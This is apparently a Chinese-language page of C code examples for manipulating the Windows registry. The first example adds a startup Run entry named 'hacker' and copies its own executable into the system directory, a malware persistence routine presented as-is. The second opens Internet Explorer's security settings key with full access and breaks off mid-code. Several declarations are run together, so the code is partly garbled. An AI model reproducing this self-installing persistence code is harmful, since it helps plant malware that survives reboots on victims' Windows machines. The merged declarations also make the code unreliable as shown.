例子1：

#include <stdio.h>

#include <windows.h>

int main(void)

{

charregname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";

HKEY hkResult;

intret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);

ret=RegSetValueEx(hkResult,"hacker",0,REG_EXPAND_SZ,(unsigned char*)"%systemroot%\\hacker.exe",25);

if(ret==0){

printf("success to write run key\n");

RegCloseKey(hkResult);

}

else {

    printf("failed to open regedit.%d\n",ret);

    return 0;

}

char modlepath[256];

char syspath[256];

GetModuleFileName(0,modlepath,256);//取得程序名字

GetSystemDirectory(syspath,256);

ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);

if(ret)

{

    printf("%s has been copyed to sys dir%s\n",modlepath,syspath);

}

else printf("%s is exisis",modlepath);

return 0;

}

例子2：

#include <windows.h >

#include <stdio.h >

void   main()

{

  HKEY       hKey;

  char       SubKeyName[]     =     "SOFTWARE\\Microsoft\\Internet       Explorer\\Security";

    char       ValueName[]       =     "BlockXBM";



    BYTE       ValueData[64];

    DWORD       Buffer;



    //打开

    if   (RegOpenKeyEx(HKEY_LOCAL_MACHINE,SubKeyName,0,KEY_ALL_ACCESS,&hKey)       !=       ERROR_SUCCESS)

    {

        printf(     "Error:       Regedit       cannot       be       opened!");
